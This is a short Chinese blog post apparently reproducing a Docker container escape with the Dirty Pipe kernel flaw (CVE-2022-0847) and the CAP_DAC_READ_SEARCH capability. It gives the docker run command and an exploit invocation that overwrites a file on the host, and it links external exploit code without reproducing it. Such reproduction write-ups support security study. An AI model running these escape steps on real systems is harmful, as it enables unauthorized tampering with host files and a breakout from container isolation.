[docker逃逸] 使用DirtyPipe漏洞逃逸

本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

前言

本文使用代码下载链接:利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸 (github.com)

由于本人才疏学浅,本文不涉及漏洞原理,仅有复现。

本文是通过利用CAP_DAC_READ_SEARCHDirtyPipe配合覆盖宿主机文件来逃逸的。

使用runc逃逸的文章:dirtypipe-container-breakout,目前没有测试。

复现

在宿主机创建了一个掩码为400的文件:

编译利用代码:

启动docker:

docker run --rm -it -v /share:/share --cap-add=CAP_DAC_READ_SEARCH ubuntu

偏移量为1,覆盖宿主机文件的内容:

./dp /home/mark/flag.txt 1 hack~

回到宿主机看到文件被成功修改了,docker逃逸测试成功。

参考文章:

从脏管道(CVE-2022-0847)到docker逃逸 -happi0 (先知社区)

利用CVE-2022-0847 (Dirty Pipe) 实现容器逃逸 -greenhandatsjtu (github.com)

Escaping containers using the Dirty Pipe vulnerability (datadoghq.com)

posted @   CVE-柠檬i  阅读(21)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示